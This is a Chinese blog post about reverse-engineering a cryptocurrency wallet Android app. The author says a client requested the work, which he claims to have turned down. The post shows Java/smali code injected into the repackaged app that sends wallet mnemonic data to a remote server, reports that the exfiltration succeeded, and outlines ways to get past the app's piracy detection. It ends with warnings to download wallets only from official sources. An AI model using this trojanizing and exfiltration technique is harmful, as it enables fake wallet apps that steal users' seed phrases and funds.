当前位置:首页 » 《资源分享》 » 正文

区块链钱包APP逆向分析及实现_nioii-七仔

19 人参与  2021年10月15日 16:03  分类 : 《资源分享》  评论

点击全文阅读


PS: 有单子找我接呀,点击这里加我

目录

        • 前言
        • 逆向定位小技巧
        • 关于去掉APP盗版检测思考
        • 区块链安全思考
        • 总结
        • 其他
          • 关注这里,了解更多原创资讯:
          • 打赏喝咖啡

前言

1.早在8月中旬接到一个粉丝加我,说是有开发需求,找我来聊聊,能否实现

在这里插入图片描述

2.还真搞定了,但是由于这个钱来路有点黑,最后不接,对方开了很高的价钱也不接

3.也很久没更新博客了,也没什么技术亮点,这次水一篇吧,好歹是逆向某APP,也学习到了一些东西

4.本篇内容篇幅就不介绍脱壳、签名的问题,本篇文章侧重介绍:Smali 源码修改及重打包

逆向定位小技巧

PS: 先了解区块链钱包的实现原理

了解到区块链钱包,技术上主要涉及这几个重要概念:助记词、私钥、公钥、钱包地址

而且区块链钱包服务器是不会保存用户的助记词的,并且不通过网络传输;

换而言之,就是都保存在你本地;

笔者测试过,安卓端去设置里面,把APP的数据给清空掉的话,是直接就没有了的,

如果你不记住你本子,你的钱包是找不回来的,所以一定要记下来你的助记词

1.明知山有虎,偏向虎山行——还是老套路,抓包分析(固有套路,排除最简单的方式)

2.发现抓包并没有什么发现,都是加密的东西(TCP/UDP/HTTPS)

3.灵光一闪,想到了前面的原理所提及的关键词,直接拿去谷歌翻译啊笨——当时心情突然开心了一下子

在这里插入图片描述

4.助记词——Mnemonic,真行啊这都被我想到了,而且一点混淆也没有(我骄傲了吗,哼!)

在这里插入图片描述

5.使用 frida hook 来分析到的关键代码处(这里忽略过程)

6.本文介绍的最重要的一点来了:smali 源码修改及打包

6-1、首先来分析一下,我们可以直接修改 smali 源码来实现我们需要的操作,比如:

  • 插入 log 日志打印;
  • 监听到指定的关键内容之后,发送到指定的服务器;

6-2、那么问题来了,我们需要对 smali 源码进行修改,那不得按照它的语法来编写呀?

很好,你有这个意识就好;

来到了,我的政治老师教给我的,怎么办?我们直接写一大篇幅的 smali 代码那简直是头疼呀,不是不可能,是很容易出错,需要多次修改;

有没有更好的思路及实现呢?有吧,我觉得

7.正向开发——>再反编译成 smali 项目——>拷贝 smali 文件——>修改 smali 文件的包路径为正确的包路径——>最后引用

发送内容到指定的服务器 demo 代码:

ForSmaliUtils.java

import android.util.Log;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.URL;

public class ForSmaliUtils {


    public static String streamToString(InputStream stream) {
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int len = 0;
        try {
            while ((len = stream.read(b)) != -1) {
                outputStream.write(b, 0, len);
            }
            return outputStream.toString();
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }

    public static void sendData(final Object data) {
        final String TAG = "SmaliLog";
        final String myUrl = "http://192.168.1.2:7071/receiveData";
        Log.i(TAG, "objdata: " + data.toString());
        Thread thread = new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    URL url = new URL(myUrl);
                    HttpURLConnection urlConn = (HttpURLConnection) url.openConnection();
                    urlConn.setConnectTimeout(10 * 1000);
                    urlConn.setReadTimeout(10 * 1000);
                    urlConn.setDoOutput(true);
                    urlConn.setDoInput(true);
                    urlConn.setUseCaches(false);
                    urlConn.setRequestMethod("POST");
                    urlConn.setInstanceFollowRedirects(true);
                    urlConn.setRequestProperty("Content-Type", "application/json;charset=UTF-8");
                    urlConn.connect();
                    OutputStreamWriter outputStreamWriter = new OutputStreamWriter(urlConn.getOutputStream());
                    outputStreamWriter.write(String.valueOf(data));
                    outputStreamWriter.flush();
                    outputStreamWriter.close();
                    if (urlConn.getResponseCode() == 200) {
                        String result = streamToString(urlConn.getInputStream());
                        Log.e(TAG, "Post方式请求成功,result---> " + result);
                    } else {
                        Log.e(TAG, "Post方式请求失败: " + urlConn.getResponseMessage());
                    }
                    urlConn.disconnect();
                } catch (Exception e) {
                    Log.e(TAG, "发送数据异常: " + e.toString());
                }
            }
        });
        thread.start();

    }

}

调用发送数据到指定的服务器:

String myData = "hello, i am qizai, are u ok?";
ForSmaliUtils.sendData(myData);

然后将正向开发的代码,我的是在一个 xposed 插件 APP 里面的,所以直接编译这个项目输出一个 APP 包就行了;

然后将这个输出的 APP 包,反编译成 smali 项目,我这里同样是使用 Android killer来修改, 请看第一篇手把手教学的教程

查看 smali 源码

在这里插入图片描述

在这里插入图片描述

直接拷贝 ForSmaliUtils 的 smali 文件,及使用、调用它

在这里插入图片描述

然后重新打包,成功之后,直接打印日志试试,因为我里面做了日志打印,标签为:SmaliLog

使用adb logcat -s SmaliLog查看,发送成功,发送的内容是:初始化创建用户的时候,APP是默认给用户创建三个钱包,币种分别是:ETH、BTC、ATOM,所对应的相关内容

在这里插入图片描述

服务端接收成功:

在这里插入图片描述

至此,这 APP 算逆向成功了

关于去掉APP盗版检测思考

比如,检测到了盗版是这样的:

在这里插入图片描述
但是检测也照样能过滤掉,这样一来,一般的使用者就不会发现是盗版的 APP 了

怎么过呢?目前考虑的情况有这些:

  • 屏蔽官方发起盗版检测请求
  • 去掉当前的弹窗

目前实现的步骤来看,不再继续研究了,因为这是违法的事,我也跟那哥们说了,不接这单子了,然后他找别人做去了

区块链安全思考

  • 所谓的区块链安全,什么去中心化,啥的,对吧;
  • 搁这,APP 被动手脚了那也不是很安全嘛,对吧;
  • 最重要的是,如果大伙们要炒币,那一定要从官方网站下载 APP,别从朋友那里下载,或者一些近似官网链接去下载
  • 这粉丝说是在国外的,搞这些;然后给了很多盗版的官网链接给我,打开的页面就是跟官网一模一样,链接也是包含官网那些关键词
  • 反正无论是什么 APP、什么软件都得要慎重思考来源——诚信的给你们提醒

总结

  • 本文只想介绍一个知识点:逆向的时候,我们可以从正向开发,编写好代码后,编译成APP;
  • 再对APP进行反编译,我们就拿到了完全正确格式的 smali 代码;
  • 然后再对我们需要的 smali 文件进行拷贝到,目标逆向APP内;
  • 插入相关的调用逻辑,俗称 “插桩”,这里需要注意的是,拷贝的 smali 文件中,开头那里需要修改为正确的包名路径;
  • 插桩的时候,我们还需要注意的是:局部变量的个数,如果有用到的话(即是:.locals指令,表明了方法中非参寄存器的个数)

其他

  • 别发横财梦了(讲真,那个单子真的很诱惑,好几个 APP,总共的金额高达3/40W,那对我来说,是三四线城市的一个首付呀)
  • 黑产早晚得进去,别杠,杠就是:早中晚都进去 [/狗头保命]
  • 禁得住诱惑

之前说好的,每个月至少一更,现在都很多个月没写了,对不起粉丝们,这么久没有输出内容

感谢某人的默默支持,这好长一段时间,辛苦了,谢谢

很深夜了,睡觉啦,晚安

关注这里,了解更多原创资讯:
  • 七仔博客首页
  • 七仔Gitee
  • 七仔Github
  • 七仔爬虫论坛首页
打赏喝咖啡

你的支持就是我的动力,感谢感谢


点击全文阅读


本文链接:http://zhangshiyu.com/post/29912.html

区块  逆向  修改  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1